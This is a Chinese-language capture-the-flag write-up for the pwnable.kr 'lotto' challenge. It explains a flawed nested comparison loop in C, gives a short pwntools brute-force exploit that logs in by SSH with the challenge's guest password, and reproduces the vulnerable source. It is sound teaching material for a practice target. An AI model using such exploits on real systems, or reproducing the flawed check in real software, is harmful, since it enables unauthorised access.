pwnable.kr --- lotto题解

最近的题目都是玩游戏?了，嗯，看来是想让我们放松一下，那就让我们来玩玩它～
由于源代码较长，所以附在文尾。
通过阅读help文档，我们可以发现，只要我们输入的6位数字和从/dev/urandom中读出的6位相同即可，顺序不同没有关系。

我看到这里就觉得问题应该出在/dev/urandom这个设备上，于是查了一下这个设备是用来干什么的。于是发现这是一个硬件随机数的生成器，于是我就去查了一下它有没有什么漏洞，发现有说是不安全的，但是我觉得对于咱们这样一个 2 points 的题，应该是用不上这样的漏洞吧。。。

于是我们可以仔细的审一下代码，发现这里是有漏洞的：

这里我们可以看到当match的值为6的时候，我们就可以get到flag。
仔细的看一下这一个双重循环，它将彩票的第0位分别于你输入的6位比较，只要你这6位里有一位对的话，就可以让match加1。

所以这里你可以想，只要你猜出了这六位中的1位，你可以输入6个一样的数字，这样在一一比对的时候就会使match = 6了

也就是比如说当你输入的submit[6] = 111111时，如果lotto[6]中有一个值为1，那么在比对那一位的时候，就会得到6个比对成功的信息。

而且这道题又限制了为46以下的数字，所以我们可以用脚本爆破出来答案

嗯，抓住能写exp的机会～

from pwn import *

s = ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)

pro = s.process('/home/lotto/lotto')

flag = 2
innum = 0

while flag:
	k = pro.readuntil("Exit\n")
	if "bad" not in k:
		print k
		innum += 1
		flag -= 1
	pro.sendline('1')
	f = pro.read()
	pro.sendline(chr(innum)*6)
	

简单介绍一下这个exp
我们先通过ssh连接主机，然后我们通过process函数连接本地的lotto这个可执行文件。

在循环中，我们每次会读取整个目录，判断里面是否有bad（如果输入错误会出现bad字眼），没有的话我们就认为是第一次读取或者是命中了lotto，于是我们会将字符（即flag）打印出来。

我们输入的时候一个一个的去试，通过chr将输入的数字转换成ascii码值，这里我们设定了一个flag值，也就是说我们找到flag之后就不再查找下去了。

得到flag如下：

每一次得到flag都真的好开心的说～嘻嘻，进军下一题吧

程序源代码：

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){
	
	int i;
	printf("Submit your 6 lotto bytes : ");
	fflush(stdout);

	int r;
	r = read(0, submit, 6);

	printf("Lotto Start!\n");
	//sleep(1);

	// generate lotto numbers
	int fd = open("/dev/urandom", O_RDONLY);
	if(fd==-1){
		printf("error. tell admin\n");
		exit(-1);
	}
	unsigned char lotto[6];
	if(read(fd, lotto, 6) != 6){
		printf("error2. tell admin\n");
		exit(-1);
	}
	for(i=0; i<6; i++){
		lotto[i] = (lotto[i] % 45) + 1;		// 1 ~ 45
	}
	close(fd);
	
	// calculate lotto score
	int match = 0, j = 0;
	for(i=0; i<6; i++){
		for(j=0; j<6; j++){
			if(lotto[i] == submit[j]){
				match++;
			}
		}
	}

	// win!
	if(match == 6){
		system("/bin/cat flag");
	}
	else{
		printf("bad luck...\n");
	}

}

void help(){
	printf("- nLotto Rule -\n");
	printf("nlotto is consisted with 6 random natural numbers less than 46\n");
	printf("your goal is to match lotto numbers as many as you can\n");
	printf("if you win lottery for *1st place*, you will get reward\n");
	printf("for more details, follow the link below\n");
	printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
	printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

	// menu
	unsigned int menu;

	while(1){

		printf("- Select Menu -\n");
		printf("1. Play Lotto\n");
		printf("2. Help\n");
		printf("3. Exit\n");

		scanf("%d", &menu);

		switch(menu){
			case 1:
				play();
				break;
			case 2:
				help();
				break;
			case 3:
				printf("bye\n");
				return 0;
			default:
				printf("invalid menu\n");
				break;
		}
	}
	return 0;
}